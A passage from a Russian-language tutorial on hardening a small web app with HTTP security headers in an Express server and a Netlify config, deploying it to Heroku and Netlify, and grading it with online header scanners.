const express = require('express')
// утилита для генерации уникальных значений
// const crypto = require('crypto')
// создаем экземпляр Express-приложения
const app = express()
// посредник для генерации `nonce`
/*
const getNonce = (_, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('hex')
next()
}
*/
// посредник для установки заголовков
// 31536000 — 365 дней
// 86400 — 1 сутки
const setSecurityHeaders = (_, res, next) => {
res.set({
'X-Content-Type-Options': 'nosniff',
'X-Frame-Options': 'DENY',
'X-XSS-Protection': '1; mode=block',
'Cross-Origin-Resource-Policy': 'same-site',
'Cross-Origin-Opener-Policy': 'same-origin-allow-popups',
'Cross-Origin-Embedder-Policy': 'require-corp',
'Referrer-Policy': 'no-referrer',
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
'Expect-CT': 'enforce, max-age=86400',
'Content-Security-Policy': `object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests`,
'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'
})
next()
}
// удаляем заголовок `X-Powered-By`
app.disable('x-powered-by')
// подключаем посредник для генерации `nonce`
// app.use(getNonce)
// подключаем посредник для установки заголовков
app.use(setSecurityHeaders)
// определяем директорию со статическими файлами
app.use(express.static('public'))
// определяем порт
const PORT = process.env.PORT || 3000
// запускам сервер
app.listen(PORT, () => {
console.log('Сервер готов')
})
Выполняем команду yarn dev
или npm run dev
(разумеется, на вашей машине должен быть установлен Node.js
). Данная команда запускает сервер для разработки и открывает вкладку браузера по адресу http://localhost:3000
.
Отлично! Теперь развернем приложение на Heroku
и проверим его безопасность с помощью Security Headers
и WebPageTest
.
Создаем аккаунт на Heroku
.
Глобально устанавливаем Heroku CLI
:
yarn global add heroku
# или
npm i -g heroku
Проверяем установку:
heroku -v
Находясь в корневой директории проекта, инициализируем Git-репозиторий (разумеется, на вашей машине должен быть установлен git
), добавляем и фиксируем изменения (не забудьте добавить node_modules
в .gitignore
):
git init
git add .
git commit -m "Create secure app"
Создаем удаленный репозиторий на Heroku
:
# авторизация
heroku login
# создание репо
heroku create
# подключение к нему
git remote -v
Разворачиваем приложение:
git push heroku master
Инструкцию по развертыванию приложения на Heroku
можно найти здесь.
После выполнения этой команды, в терминале появится URL
вашего приложения, развернутого на Heroku
, например, https://tranquil-meadow-01695.herokuapp.com/
.
Перейдите по указанному адресу и проверьте работоспособность приложения.
Заходим на Security Headers
, вставляем URL
приложения в поле enter address here
и нажимаем на кнопку Scan
:
Получаем рейтинг приложения:
В Supported By
читаем Вау, отличная оценка...
.
Заходим на WebPageTest
, вставляем URL
приложения в поле Enter a website URL...
и нажимаем на кнопку Start Test ->
:
Получаем результаты оценки приложения (нас интересует первая оценка — Security score
):
Похоже, мы все сделали правильно. Круто!
Переносим файлы favicon.png
, index.html
, script.js
и style.css
из папки public
в отдельную директорию, например, netlify
.
Для настройки сервера Netlify
используется файл netlify.toml
. Создаем данный файл в директории проекта. Нас интересует только раздел [[headers]]
:
[[headers]]
for = "/*"
[headers.values]
X-Content-Type-Options = "nosniff"
X-Frame-Options = "DENY"
X-XSS-Protection = "1; mode=block"
Cross-Origin-Resource-Policy = "same-site"
Cross-Origin-Opener-Policy = "same-origin-allow-popups"
Cross-Origin-Embedder-Policy = "require-corp"
Referrer-Policy = "no-referrer"
Strict-Transport-Security = "max-age=31536000; includeSubDomains"
Expect-CT = "enforce, max-age=86400"
Content-Security-Policy = "object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests"
Permissions-Policy = "camera=(), microphone=(), geolocation=(), payment=()"
for = "/*"
означает для всех запросов;[header.values]
— заголовки и их значения (просто переносим их из Express-сервера с учетом особенностей синтаксиса).
Глобально устанавливаем Netlify CLI
:
yarn global add netlify-cli
# или
npm i -g netlify-cli
Проверяем установку:
netlify -v
Авторизуемся:
netlify login
Можно запустить сервер для разработки (это необязательно):
netlify dev
Данная команда запускает приложение и открывает вкладку браузера по адресу http://localhost:8888
.
Разворачиваем приложение в тестовом режиме:
netlify deploy
Выбираем Create & configure a new site
, свою команду (например, Igor Agapov's team
), оставляем Site name
пустым и выбираем директорию со сборкой приложения (у нас такой директории нет, поэтому оставляем значение по умолчанию — .
):
Получаем URL
черновика веб-сайта (Website Draft URL
), например, https://60f3e6013d0afb2ce71a5623--infallible-pasteur-d015e7.netlify.app
. Можно перейти по указанному адресу и проверить работоспособность приложения.
Разворачиваем приложение в продакшн-режиме:
netlify deploy -p
-p
или--prod
означает производственный режим.
Получаем URL
приложения (Website URL
), например, https://infallible-pasteur-d015e7.netlify.app/
. Опять же, можно перейти по указанному адресу и проверить работоспособность приложения.
Инструкцию по развертыванию приложения на Netlify
можно найти здесь.
Возвращаемся на Security Headers
и WebPageTest
и проверяем, насколько безопасным является наше Netlify-приложение:
Кажется, у нас все получилось!